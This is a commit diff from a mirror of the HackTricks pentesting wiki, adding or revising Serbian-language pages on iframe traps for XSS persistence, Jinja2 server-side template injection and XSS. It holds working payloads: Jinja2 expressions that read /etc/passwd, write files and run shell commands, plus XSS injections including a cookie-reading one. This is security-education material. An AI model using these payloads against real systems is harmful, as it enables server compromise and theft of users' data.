mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve
This commit is contained in:
parent
ccfab7039f
commit
a6a421b187
7 changed files with 185 additions and 97 deletions
BIN
.gitbook/assets/image (1248).png
Normal file
BIN
.gitbook/assets/image (1248).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1249).png
Normal file
BIN
.gitbook/assets/image (1249).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 27 KiB |
|
@ -587,7 +587,6 @@
|
|||
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
|
||||
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
* [IDOR](pentesting-web/idor.md)
|
||||
* [Integer Overflow](pentesting-web/integer-overflow.md)
|
||||
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
* [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
|
@ -651,6 +650,7 @@
|
|||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
|
||||
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
|
@ -672,6 +672,7 @@
|
|||
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
|
||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
* [Iframe Traps](pentesting-web/iframe-traps.md)
|
||||
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
|
|
47
pentesting-web/iframe-traps.md
Normal file
47
pentesting-web/iframe-traps.md
Normal file
|
@ -0,0 +1,47 @@
|
|||
# Iframe Zamke
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Osnovne Informacije
|
||||
|
||||
Ova forma zloupotrebe XSS-a putem iframes-a radi krađe informacija od korisnika koji se kreću po web stranici prvobitno je objavljena u ovim 2 posta sajta trustedsec.com: [**ovde**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **i** [**ovde**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
Napad počinje na stranici ranjivoj na XSS gde je moguće da **žrtve ne napuste XSS** tako što ih se **natera da navigiraju unutar iframes-a** koji zauzima celu web aplikaciju.
|
||||
|
||||
XSS napad će u osnovi učitati web stranicu u iframe-u na 100% ekrana. Stoga, žrtva **neće primetiti da se nalazi unutar iframes-a**. Zatim, ako žrtva navigira na stranici klikanjem linkova unutar iframes-a (unutar web-a), ona će **navigirati unutar iframes-a** sa proizvoljnim JS-om učitanim koji krade informacije sa te navigacije.
|
||||
|
||||
Osim toga, da bi bilo realističnije, moguće je koristiti neke **slušače** da provere kada iframe promeni lokaciju stranice, i ažuriraju URL browsera sa tom lokacijom koju korisnik misli da se kreće stranicama koristeći browser.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
Takođe, moguće je koristiti slušače da se ukradu osetljive informacije, ne samo druge stranice koje žrtva posećuje, već i podaci korišteni za **popunjavanje formi** i slanje ih (kredencijali?) ili za **krađu lokalnog skladištenja**...
|
||||
|
||||
Naravno, glavna ograničenja su da će **žrtva zatvaranjem taba ili unošenjem druge URL adrese u browseru izaći iz iframes-a**. Drugi način da se ovo uradi bi bilo **osvežavanje stranice**, međutim, ovo bi moglo biti delimično **sprečeno** onemogućavanjem kontekst menija desnim klikom svaki put kada se učita nova stranica unutar iframes-a ili primetiti kada miš korisnika napusti iframes, potencijalno da klikne dugme za osvežavanje browsera i u tom slučaju URL browsera se ažurira sa originalnom URL adresom ranjivom na XSS tako da ako korisnik ponovo učita, ponovo će biti otrovan (napomena da ovo nije vrlo prikriveno).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -30,9 +30,9 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### **Debug izjava**
|
||||
### **Debug Izjava**
|
||||
|
||||
Ako je Debug ekstenzija omogućena, `debug` tag će biti dostupan za ispis trenutnog konteksta, kao i dostupne filtere i testove. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
|
||||
Ako je omogućeno proširenje za debagovanje, dostupna će biti oznaka `debug` za ispis trenutnog konteksta, kao i dostupnih filtera i testova. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -43,6 +43,7 @@ Ako je Debug ekstenzija omogućena, `debug` tag će biti dostupan za ispis trenu
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Izbaci sve konfiguracione promenljive**
|
||||
|
@ -60,6 +61,7 @@ Izvor: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Jinja Injection**
|
||||
|
||||
|
@ -79,9 +81,9 @@ request
|
|||
```
|
||||
### Obnavljanje \<class 'object'>
|
||||
|
||||
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz python okruženja koje nije peskovnikovano**.
|
||||
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metod **`__subclasses__`** i **pristupiti svim klasama iz nesandboxovanog** Python okruženja.
|
||||
|
||||
Da biste pristupili toj **klasi objekta**, morate **pristupiti objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
|
||||
Da biste pristupili toj **klasi objekta**, morate **pristupiti objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. I onda, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
|
||||
|
||||
Proverite ove primere:
|
||||
```python
|
||||
|
@ -119,6 +121,7 @@ dict.__mro__[-1]
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
|
@ -135,7 +138,7 @@ Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih fu
|
|||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**Udaljeno izvršavanje koda (RCE)**
|
||||
**RCE**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -196,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#pristup-globalnim-objektima)
|
||||
* [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#oporavak-manje-od-klase-objekta-veće)
|
||||
|
@ -209,7 +213,7 @@ Podrazumevano, Flask enkodira sav HTML unutar šablona iz sigurnosnih razloga:
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**Filter `safe`** nam omogućava da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja **HTML-a**, kao što je prikazano ovde:
|
||||
**Filter `safe`** nam omogućava da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja u HTML-u, kao što je prikazano ovde:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
|
@ -235,11 +239,12 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Jinja Injection bez **\<class 'object'>**
|
||||
|
||||
Iz [**globalnih objekata**](jinja2-ssti.md#pristup-globalnim-objektima) postoji još jedan način da se dođe do **RCE-a bez korišćenja te klase.**\
|
||||
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** vrlo **jednostavan**.
|
||||
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odande je **RCE** veoma **jednostavan**.
|
||||
|
||||
Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** do kojeg imate pristup sa:
|
||||
```bash
|
||||
|
@ -284,7 +289,7 @@ Kada pronađete neke funkcije, možete povratiti ugrađene funkcije pomoću:
|
|||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器,搜索绕过,并提供交互式控制台。
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门针对CTF的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是简单地发送单词和查询以检测过滤器,搜索绕过方式,并提供交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -312,7 +317,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
## Reference
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Proverite [attr trik kako biste zaobišli zabranjene znakove ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Proverite [attr trik kako biste zaobišli zabranjene karaktere ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
|
||||
|
@ -8,7 +8,7 @@ Ako ste zainteresovani za **hakersku karijeru** i hakovanje onoga što se ne mo
|
|||
|
||||
## Metodologija
|
||||
|
||||
1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) **reflektuje** u HTML-u ili se **koristi** od strane **JS** koda.
|
||||
1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parametri_, _putanja_, _zaglavlja_?, _kolačići_?) reflektuje u HTML-u ili se **koristi** od strane **JS** koda.
|
||||
2. **Pronađite kontekst** gde se reflektuje/koristi.
|
||||
3. Ako je **reflektovano**
|
||||
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga pripremite payload:
|
||||
|
@ -41,15 +41,15 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo znati o:
|
|||
|
||||
## Reflektovane vrednosti
|
||||
|
||||
Da biste uspešno iskoristili XSS, prvo što trebate pronaći je **vrednost kojom upravljate koja se reflektuje** na web stranici.
|
||||
Da biste uspešno iskoristili XSS, prva stvar koju treba pronaći je **vrednost kojom upravljate koja se reflektuje** na veb stranici.
|
||||
|
||||
* **Intermediarno reflektovano**: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na web stranici, možete iskoristiti **Reflected XSS**.
|
||||
* **Srednje reflektovano**: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na veb stranici, možete iskoristiti **Reflected XSS**.
|
||||
* **Smešteno i reflektovano**: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti **Stored XSS**.
|
||||
* **Pristupljeno putem JS-a**: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti **DOM XSS**.
|
||||
* **Pristupljeno putem JS**: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti **DOM XSS**.
|
||||
|
||||
## Konteksti
|
||||
|
||||
Kada pokušavate iskoristiti XSS, prvo što trebate znati je **gde se reflektuje vaš unos**. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.
|
||||
Kada pokušavate iskoristiti XSS, prva stvar koju treba znati je **gde se vaš unos reflektuje**. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.
|
||||
|
||||
### Čisti HTML
|
||||
|
||||
|
@ -62,10 +62,10 @@ Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
|
|||
|
||||
1. Da **izađete iz atributa i iz oznake** (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu: `"><img [...]`
|
||||
2. Ako **možete izaći iz atributa ali ne i iz oznake** (`>` je enkodiran ili obrisan), zavisno od oznake možete **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
||||
3. Ako **ne možete izaći iz atributa** (`"` je enkodiran ili obrisan), onda zavisno od **kog atributa** se vaša vrednost reflektuje **da li kontrolišete celu vrednost ili samo deo** moći ćete je zloupotrebiti. Na **primer**, ako kontrolišete događaj poput `onclick=`, moći ćete da naterate da izvrši proizvoljan kod kada se klikne. Još jedan interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
3. Ako **ne možete izaći iz atributa** (`"` je enkodiran ili obrisan), onda zavisno od **kog atributa** se vaša vrednost reflektuje u **da li kontrolišete celu vrednost ili samo deo** moći ćete je zloupotrebiti. Na **primer**, ako kontrolišete događaj poput `onclick=`, moći ćete ga naterati da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||
4. Ako se vaš unos reflektuje unutar "**neiskorišćenih oznaka**" možete pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (trebaće vam neka vrsta socijalnog inženjera da iskoristite ovo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Čudan primer Angular koji izvršava XSS ako kontrolišete ime klase:
|
||||
Čudan primer Angulara koji izvršava XSS ako kontrolišete ime klase:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -76,7 +76,7 @@ Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
|
|||
U ovom slučaju, vaš unos se reflektuje između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` fajla ili unutar atributa korišćenjem **`javascript:`** protokola:
|
||||
|
||||
* Ako je reflektovan između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da ubacite `</script>` i izbegnete ovaj kontekst. Ovo funkcioniše jer će **pregledač prvo parsirati HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaš ubačeni `</script>` tag unutar HTML koda.
|
||||
* Ako je reflektovan **unutar JS stringa** i prethodni trik ne funkcioniše, moraćete **izaći** iz stringa, **izvršiti** svoj kod i **rekonstruisati** JS kod (ako postoji greška, neće biti izvršena):
|
||||
* Ako je reflektovan **unutar JS stringa** i prethodni trik ne funkcioniše, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako postoji greška, neće biti izvršena):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -89,7 +89,7 @@ U ovom slučaju, vaš unos se reflektuje između **`<script> [...] </script>`**
|
|||
```
|
||||
#### Podizanje Javascript-a
|
||||
|
||||
Javascript Hoisting se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
|
||||
Podizanje Javascript-a se odnosi na mogućnost **deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.**\
|
||||
**Proverite sledeću stranicu za više informacija:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -100,13 +100,13 @@ Javascript Hoisting se odnosi na mogućnost **deklarisanja funkcija, promenljivi
|
|||
|
||||
Na nekoliko web stranica postoje endpointovi koji **prihvataju kao parametar ime funkcije za izvršavanje**. Čest primer koji se može videti je nešto poput: `?callback=callbackFunc`.
|
||||
|
||||
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Vulnerable') i traženje grešaka u konzoli kao što je:
|
||||
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je **menjanje vrednosti parametra** (na primer u 'Ranjiv') i traženje grešaka u konzoli poput:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
U slučaju da je ranjiv, možda ćete moći da **pokrenete upozorenje** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da bi dozvolili samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
|
||||
U slučaju da je ranjivo, možete **pokrenuti upozorenje** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, vrlo je često da će ovi endpointovi **validirati sadržaj** da bi dozvolili samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
|
||||
|
||||
Ipak, čak i sa tom ograničenom moguće je izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u**:
|
||||
Ipak, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke akcije. To je zato što možete koristiti te validne karaktere da **pristupite bilo kom elementu u DOM-u**:
|
||||
|
||||
![](<../../.gitbook/assets/image (747).png>)
|
||||
|
||||
|
@ -118,9 +118,9 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Možete takođe pokušati da **pokrenete Javascript funkcije** direktno: `obj.sales.delOrders`.
|
||||
Možete takođe pokušati da **pokrenete JavaScript funkcije** direktno: `obj.sales.delOrders`.
|
||||
|
||||
Međutim, obično su endpointi koji izvršavaju navedenu funkciju endpointi bez mnogo interesantnog DOM-a, **druge stranice na istom poreklu** će imati **zanimljiviji DOM** za obavljanje više akcija.
|
||||
Međutim, obično su endpointi koji izvršavaju navedenu funkciju endpointi bez mnogo interesantnog DOM-a, **druge stranice na istom izvoru** će imati **interesantniji DOM** za obavljanje više akcija.
|
||||
|
||||
Stoga, kako bi se **zloupotrebila ova ranjivost u drugačijem DOM-u**, razvijena je eksploatacija **Same Origin Method Execution (SOME)**:
|
||||
|
||||
|
@ -130,15 +130,15 @@ Stoga, kako bi se **zloupotrebila ova ranjivost u drugačijem DOM-u**, razvijena
|
|||
|
||||
### DOM
|
||||
|
||||
Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.
|
||||
Postoji **JS kod** koji **nesigurno** koristi neke **podatke kontrolisane od strane napadača** poput `location.href`. Napadač bi mogao da zloupotrebi ovo da izvrši proizvoljan JS kod.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Universalni XSS**
|
||||
### **Universal XSS**
|
||||
|
||||
Ovakav tip XSS-a može se pronaći **bilo gde**. Ne zavise samo od eksploatacije klijenta web aplikacije već od **bilo kog** **konteksta**. Ovakav tip **proizvoljne JavaScript eksploatacije** može čak biti zloupotrebljen za dobijanje **RCE**, **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i više.\
|
||||
Ovakav tip XSS-a može se pronaći **bilo gde**. Ne zavise samo o eksploataciji klijenta web aplikacije već o **bilo kom** **kontekstu**. Ovakva vrsta **proizvoljne JavaScript eksploatacije** može čak biti zloupotrebljena da se dobije **RCE**, **čitanje** **proizvoljnih** **fajlova** na klijentima i serverima, i još više.\
|
||||
Neki **primeri**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -149,17 +149,17 @@ Neki **primeri**:
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Bajpasovanje WAF enkodiranjem slike
|
||||
## WAF zaobilaženje kodiranja slike
|
||||
|
||||
![sa https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||||
|
||||
## Ubacivanje unutar sirovog HTML-a
|
||||
|
||||
Kada se vaš unos reflektuje **unutar HTML stranice** ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete zloupotrebiti `<` da biste kreirali nove oznake: Samo pokušajte da **reflektujete** taj **karakter** i proverite da li je **HTML enkodiran** ili **obrisan** ili ako je **reflektovan bez promena**. **Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj**.\
|
||||
Za ove slučajeve takođe **imajte na umu** [**Ubacivanje šablona na klijentskoj strani**](../client-side-template-injection-csti.md)**.**\
|
||||
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Napomena: HTML komentar se može zatvoriti koristeći**** ****`-->`**** ****ili**** ****`--!>`**_
|
||||
|
||||
U ovom slučaju, ako se ne koristi crna/bela lista, mogli biste koristiti payload-ove poput:
|
||||
U ovom slučaju, i ako se ne koristi crna/bela lista, možete koristiti payload-ove poput:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
|
@ -174,7 +174,7 @@ Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-shee
|
|||
|
||||
### Prilagođene oznake
|
||||
|
||||
Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naveli stranicu da se **fokusira na taj objekat** i **izvrši** kod:
|
||||
Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da **kreirate prilagođenu oznaku** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste stranici omogućili **fokusiranje na taj objekat** i **izvršili** kod:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -241,24 +241,20 @@ onerror=alert`1`
|
|||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
Poslednji koristi 2 Unicode karaktera koji se proširuju na 5: telsr\
|
||||
Više ovakvih karaktera može se pronaći [ovde](https://www.unicode.org/charts/normalization/).\
|
||||
Da biste proverili u kojim se karakterima dekomponuju, proverite [ovde](https://www.compart.com/en/unicode/U+2121).
|
||||
### Klikni na XSS - Clickjacking
|
||||
|
||||
### Klikni XSS - Clickjacking
|
||||
|
||||
Ako za iskorišćavanje ranjivosti treba **korisnik da klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**zloupotrebite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
|
||||
Ako je potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima kako bi se iskoristila ranjivost, možete pokušati da [**zloupotrebite Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
|
||||
|
||||
### Nemoguće - Dangling Markup
|
||||
|
||||
Ako samo mislite da **je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebalo bi da proverite [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
|
||||
Ako smatrate da **je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda**, trebalo bi da proverite [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
|
||||
